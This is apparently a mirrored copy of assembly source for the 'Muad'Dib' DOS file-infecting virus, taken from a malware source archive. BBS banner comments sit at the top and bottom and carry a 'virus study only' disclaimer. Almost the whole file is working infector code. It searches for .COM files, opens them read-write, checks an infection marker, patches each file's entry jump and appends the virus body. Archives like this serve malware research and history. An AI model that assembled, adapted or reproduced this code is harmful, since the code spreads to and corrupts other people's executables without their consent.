mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
214 lines
8.6 KiB
NASM
214 lines
8.6 KiB
NASM
|
;****************************************************************************;
|
|||
|
; ;
|
|||
|
; -=][][][][][][][][][][][][][][][=- ;
|
|||
|
; -=] P E R F E C T C R I M E [=- ;
|
|||
|
; -=] +31.(o)79.426o79 [=- ;
|
|||
|
; -=] [=- ;
|
|||
|
; -=] For All Your H/P/A/V Files [=- ;
|
|||
|
; -=] SysOp: Peter Venkman [=- ;
|
|||
|
; -=] [=- ;
|
|||
|
; -=] +31.(o)79.426o79 [=- ;
|
|||
|
; -=] P E R F E C T C R I M E [=- ;
|
|||
|
; -=][][][][][][][][][][][][][][][=- ;
|
|||
|
; ;
|
|||
|
; *** NOT FOR GENERAL DISTRIBUTION *** ;
|
|||
|
; ;
|
|||
|
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
|
|||
|
; Around Among the General Public. It Will be Very Useful for Learning how ;
|
|||
|
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
|
|||
|
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
|
|||
|
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
|
|||
|
; Is. Keep This Code in Responsible Hands! ;
|
|||
|
; ;
|
|||
|
;****************************************************************************;
|
|||
|
; MUAD'DIB VIRUS ;
|
|||
|
;****************************************************************************;
|
|||
|
ideal
|
|||
|
model tiny
|
|||
|
codeseg
|
|||
|
org 100h
|
|||
|
top: db 'CP'
|
|||
|
db 058h,04bh
|
|||
|
jmp near main
|
|||
|
nop
|
|||
|
nop
|
|||
|
nop
|
|||
|
mov dx,offset _warn
|
|||
|
mov ah,9
|
|||
|
int 21h
|
|||
|
mov ax,04c00h
|
|||
|
int 21h
|
|||
|
|
|||
|
_warn db 'Deze file was besmet met het Muad''dib Virus$'
|
|||
|
|
|||
|
main: push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push di
|
|||
|
push si
|
|||
|
push es
|
|||
|
push ds
|
|||
|
call dummy
|
|||
|
dummy: pop bx
|
|||
|
mov si,bx
|
|||
|
add si,200h ; Address of data!
|
|||
|
lea dx,[si+6]
|
|||
|
mov ah,1ah
|
|||
|
int 21h ; Set DTA
|
|||
|
|
|||
|
mov dx,si
|
|||
|
mov cl,0ffh
|
|||
|
mov ah,04eh
|
|||
|
int 21h ; Findfirst
|
|||
|
jc noluck ; Nah, error
|
|||
|
checkit:jmp is_ill
|
|||
|
fnext: lea dx,[si + 6]
|
|||
|
mov ah,04fh
|
|||
|
int 21h
|
|||
|
jc noluck
|
|||
|
jmp checkit
|
|||
|
|
|||
|
|
|||
|
noluck:
|
|||
|
mov ax,[word si + 6 + 44] ; Current
|
|||
|
mov [word cs:100h], ax
|
|||
|
mov ax,[word si + 6 + 44 + 2]
|
|||
|
mov [word cs:102h], ax
|
|||
|
mov ax,[word si + 6 + 44 + 4]
|
|||
|
mov [word cs:104h], ax
|
|||
|
mov ax,[word si + 6 + 44 + 6]
|
|||
|
mov [word cs:106h], ax
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
pop si
|
|||
|
pop di
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
mov ax,100h ; Goor!
|
|||
|
push ax ; Maar 't werkt wel!
|
|||
|
ret
|
|||
|
|
|||
|
is_ill:
|
|||
|
lea dx,[si + 36] ; Name of file
|
|||
|
; mov ah,9
|
|||
|
; int 21h ; For information...
|
|||
|
mov ah,03dh ; Fopen
|
|||
|
mov al,2 ; RW-access
|
|||
|
int 21h
|
|||
|
jc fnext ; !?@!? Couldn't open
|
|||
|
push ax
|
|||
|
|
|||
|
pop bx ; Handle
|
|||
|
push bx
|
|||
|
mov ah,3fh ; Read
|
|||
|
mov cx,8 ; 8 please
|
|||
|
lea dx,[si + 6 + 44 + 8] ; Offset buffer (inf buf)
|
|||
|
int 21h
|
|||
|
|
|||
|
cmp [word si + 6 + 44 + 8], 05043h ; Zick yet?
|
|||
|
je issick ; YEAH!
|
|||
|
|
|||
|
pop bx
|
|||
|
push bx
|
|||
|
mov ax,04200h ; Moef vijlpointer
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx ; 0L
|
|||
|
int 21h ; Move filepointer
|
|||
|
|
|||
|
mov ax,[si + 6 + 26] ; Fsize
|
|||
|
sub ax,7
|
|||
|
mov [si + 6 + 44 + 8 + 8 + 5],ax ; Set jump (jumpbuf)
|
|||
|
|
|||
|
pop bx ; Handle
|
|||
|
push bx
|
|||
|
mov ah,40h ; Write
|
|||
|
mov cx,8 ; 8 please
|
|||
|
lea dx,[si + 6 + 44 + 8 + 8] ; Offset buffer (jumpbuf)
|
|||
|
int 21h
|
|||
|
|
|||
|
pop bx ; Handle
|
|||
|
push bx
|
|||
|
mov ax,04202h ; Moef vijlpointer (einde)
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx ; 0L
|
|||
|
int 21h ; Move filepointer
|
|||
|
|
|||
|
call swap
|
|||
|
|
|||
|
pop bx ; Handle
|
|||
|
push bx
|
|||
|
mov ah,40h ; Write
|
|||
|
mov cx,1000 ; ADJUST
|
|||
|
lea dx,[si - 200h - 11] ; Offset buffer
|
|||
|
int 21h ; Wreit
|
|||
|
|
|||
|
call swap
|
|||
|
|
|||
|
close: pop bx
|
|||
|
mov ah,03eh
|
|||
|
int 21h
|
|||
|
jmp noluck ; Ready!
|
|||
|
|
|||
|
|
|||
|
issick: pop bx
|
|||
|
mov ah,03eh
|
|||
|
int 21h
|
|||
|
jmp fnext
|
|||
|
|
|||
|
swap:
|
|||
|
mov ax,[word si + 6 + 44]
|
|||
|
xchg [word si + 6 + 44 + 8], ax
|
|||
|
mov [word si + 6 + 44], ax
|
|||
|
mov ax,[word si + 6 + 44 + 2]
|
|||
|
xchg [word si + 6 + 44 + 8 + 2], ax
|
|||
|
mov [word si + 6 + 44 + 2], ax
|
|||
|
mov ax,[word si + 6 + 44 + 4]
|
|||
|
xchg [word si + 6 + 44 + 8 + 4], ax
|
|||
|
mov [word si + 6 + 44 + 4], ax
|
|||
|
mov ax,[word si + 6 + 44 + 6]
|
|||
|
xchg [word si + 6 + 44 + 8 + 6], ax
|
|||
|
mov [word si + 6 + 44 + 6], ax
|
|||
|
ret
|
|||
|
|
|||
|
org dummy + 200h
|
|||
|
db '*.COM',0
|
|||
|
db 44 dup ('D')
|
|||
|
db 8 dup (090h) ; Current buffer
|
|||
|
db 8 dup ('C') ; Inf buffer
|
|||
|
db 043h,050h,058h,04bh,0e9h
|
|||
|
db 0,0,0,'$'
|
|||
|
end top
|
|||
|
|
|||
|
;****************************************************************************;
|
|||
|
; ;
|
|||
|
; -=][][][][][][][][][][][][][][][=- ;
|
|||
|
; -=] P E R F E C T C R I M E [=- ;
|
|||
|
; -=] +31.(o)79.426o79 [=- ;
|
|||
|
; -=] [=- ;
|
|||
|
; -=] For All Your H/P/A/V Files [=- ;
|
|||
|
; -=] SysOp: Peter Venkman [=- ;
|
|||
|
; -=] [=- ;
|
|||
|
; -=] +31.(o)79.426o79 [=- ;
|
|||
|
; -=] P E R F E C T C R I M E [=- ;
|
|||
|
; -=][][][][][][][][][][][][][][][=- ;
|
|||
|
; ;
|
|||
|
; *** NOT FOR GENERAL DISTRIBUTION *** ;
|
|||
|
; ;
|
|||
|
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
|
|||
|
; Around Among the General Public. It Will be Very Useful for Learning how ;
|
|||
|
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
|
|||
|
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
|
|||
|
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
|
|||
|
; Is. Keep This Code in Responsible Hands! ;
|
|||
|
; ;
|
|||
|
;****************************************************************************;
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
|
|||
|
|